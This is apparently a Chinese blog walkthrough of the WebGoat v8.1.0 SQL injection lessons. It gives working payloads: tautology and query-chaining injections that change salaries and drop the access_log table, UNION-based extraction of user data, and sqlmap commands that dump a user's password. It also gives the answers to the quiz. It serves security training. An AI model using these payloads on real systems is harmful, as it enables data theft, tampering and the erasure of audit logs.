WebGoat Injection 解题思路 (上)
WebGoat 版本信息
- WebGoat v8.1.0
(A1) Injection 注入
SQL Injection (intro)
1 - Concept
介绍SQL的基本概念,仔细阅读即可。
2 - What is SQL?
简单了解SQL语句。测试如何使用 SELECT语句进行查询。
这个非常简单:
1 | select department from employees where userid=96134 |
3 - DML
SQL语句除去SELECT查询之外,还有Insert, Update等添加、修改数据的操作。
测试内容为将Tobi Barnett
的部门修改为Sales
。这个也相对容易:
1 | Update employees set department = 'Sales' where userid = 89762 |
4 - DDL
这一节介绍了如何使用SQL语句修改数据库中表的结构。测试内容是为employees
表添加一个名为phone
的列,数据类型为varchar(20)
。
1 | ALTER TABLE employees ADD phone varchar(20) |
5 - DCL
这一节的内容是通过SQL语言管理用户进入及操作数据库的权限。
1 | GRANT ALTER TABLE TO UnauthorizedUser |
到此为止,就完成了对于SQL语句的初步认识与学习。如果对于SQL语言的其他操作还存在什么问题的话,可以在w3school SQL进行学习。
6 & 7 & 8 - What is SQL injection?
这几节介绍了SQL注入的基本原理,可能产生的影响以及SQL注入的严重性。如果之前对于 SQL注入 已经有了基本的了解,那么这一步可以简单跳过。 如果对于 SQL注入 还没有任何的概念,请务必仔细阅读这里的内容。
这三节没有任何交互性的内容。
9 - Try It!
最最基本的注入结构。明文测试来感受一下如何构造一个成功的SQL注入语句。
10 - Numeric SQL Injection
稍微提高了一些难度。SQL语句从页面接受了两个不同的用户输入,但是其中只有一个可以成功进行SQL注入。我们需要找到正确的输入域,并利用。
先简单尝试:
看到了错误提示为: 无法成功将Login_Count的值解析为数字。
所以再次尝试对User_id的值进行注入:
11 - String SQL Injection
类似于第9个小测试的内容。只不过这次不再是选择题了。在Employee Name
的输入框输入:
1 | ' or 1=1 -- |
12 - Compromising Integrity with Query chaining
同样的输入框。但这次不同于之前的仅仅是获取到全部员工的列表信息,这次我们需要真真切切地做些坏事了。这个挑战的要求是,将数据库中自己的工资修改为最高。
思路是使用分号分隔两句SQL语句,并在第二句使用UPDATE命令对数据进行更新。因此,我们可以在Employee Name
的输入框输入:
1 | ' or 1=1; Update employees SET SALARY=99999 where AUTH_TAN=3SL99A -- |
OK,顺利让自己的工资变成最高了!!(千万别在真实的生产环境中做同样的事情!!)
13 - Compromising Availability
题目要求在access_log
表中删除被系统记录下的SQL语句执行记录。
与上一题思路相同,再第二句SQL语句中执行 DROP 命令,删除access_log
表中的数据。
1 | d'; drop TABLE access_log -- |
成功!
总结
这一小节介绍了SQL注入中一些最为基础的概念。并通过一个比较真实的场景,来展现了一个攻击者在面对一个存在漏洞的系统时,可以实现哪些操作。
当然,由于这一部分主要是面对刚刚入门的初学者,为了更好的实现展示的目的,所以这一部分中的漏洞非常的显而易见,也非常容易利用。而在实际的生产环境中,大多数的漏洞并不是那么简单地就能被利用。下一节就要尝试更困难的挑战了!
SQL Injection (advanced)
Challenge 1,2
这两节简单得介绍了SQL注入实操的一些基本技巧。这些技巧其实非常有用,虽然我们可以使用SQL Map这类的工具来帮助我们完成一些自动化的SQL注入操作,但是对于基本原理的理解可以让你最大化发挥出工具的价值。
Challenge 3
这里需要通过SQL注入获取数据库中表的完整信息,而且这次我们已经不满足于获得当前的数据表。我们还需要同时获取另一张表中的内容。这里我们可以使用UNION SELECT
语句来实现两张表的数据拼接:
d' and 1=2 UNION SELECT user_system_data.*,NULL,NULL,NULL from user_system_data --
这里需要注意的有两点:
- 使用UNION SELECT 需要前后两张表的列数相匹配。由于题目中已知的信息告诉我们
user_system_data
中只有4列数据,所以我们需要手动填充3列NULL
。 - 一开始写的是
UNION SELECT *
,结果可以看到报错为:duplicate column name in derived table
。不难理解,两张表中都有userid
列,而第二张表的userid
还是主键。所以我们需要在*
前指定表名。
根据正确答案提示,这道题还可以直接拼接SQL语句。这个实现起来就更简单了:
d'; SELECT * from user_system_data
输入Dave的密码: passW0rD
最终完成。
Challenge 4
这边介绍了SqL盲注。之前的挑战中,页面上会返回完整的信息,包括了数据库的报错信息还有完整的查询结果。但在现实的环境中,大多数的情况是,数据库仅会返回查询是成功还是失败。在这种情况下,我们每次可以从数据库获得的信息会大大减少,这也很大程度增加了注入的难度。
这一节的说明简要解释了两种最常见的盲注方法: 基于内容的盲注 和 基于时间的盲注
Challenge 5
来吧,亲自尝试一下!!
这里我们看到了一个最为常见的功能:登录与注册。我们需要最终以Tom的身份登录进系统。
简单尝试使用SQL注入绕过登录,发现失败了。然后尝试在Register功能中注入。
可以看到系统会返回说用户已经存在的消息。尝试简单修改用户名,快速检验是否存在注入的可能:
tom' and 1=1 --
系统返回了以下信息:
1 | User {0} already exists please try to register with a different username. |
这个{0}
看着颇为可疑…感觉可能是个能够利用的点。使用BurpSuite截取请求:
将请求保存到本地文件,并使用sqlmap -r webgoat_1.2.5_register.txt
对这个请求进行SQL注入的测试。
很显然,username_reg
这个参数存在SQL注入的漏洞。因此,我们进一步利用 SQL Map 来通过这个注入点,获取更多数据库信息。基于上一次运行的结果,我们使用下列命令来列出数据库中所有的DB列表:
1 | sqlmap -r webgoat_1.2.5_register.txt --dbms=HSQLDB --thread 5 --dbs --no-cast --technique=B |
我们获取到了5个数据库。再指定数据库为PUBLIC
获取该数据中所有的表名。同时我们注意到,这个时候执行的速度明显减慢了很多,所以我们可以在参数中加入--string="already exists please try to register with a different username"
指定查询为真的条件。
1 | sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC --tables |
成功获取到所有的表名。其中SQL_CHALLENGE_USERS
看着就非常像我们需要获取信息的表。尝试直接下载这张表里的内容:
1 | sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC -T SQL_CHALLENGE_USERS --dump |
运行的时候才发现,这个数据库居然还是有快200行…那直接dump确实有点暴力了…(大笑)。有不少是运行SQLMap的时候自己注册进去的!!所以我们采用一个更有针对性的方法:
1 | sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC -T SQL_CHALLENGE_USERS --sql-query="SELECT userid,password FROM SQL_CHALLENGE_USERS WHERE USERID='tom'" |
顺利获得密码!登录即可。
当然,这道题同样可以在password参数中爆破出密码,这里只是给出了一种完全使用SQLMap的思路。
Challenge 6
最后是Quiz部分,总共五道选择题,全部做对视为通过。所有的题目都是关于 Prepared statement(预编译查询语句)。
- What is the difference between a prepared statement and a statement?
1 | Solution 4: A statement has got values instead of a prepared statement |
- Which one of the following characters is a placeholder for variables?
1 | Solution 3: ? |
- How can prepared statements be faster than statements?
1 | Solution 2: Prepared statements are compiled once by the database management system waitingfor input and are pre-compiled this way. |
- How can a prepared statement prevent SQL-Injection?
1 | Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data. |
- What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;– that has a prepared statement?
1 | Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'. |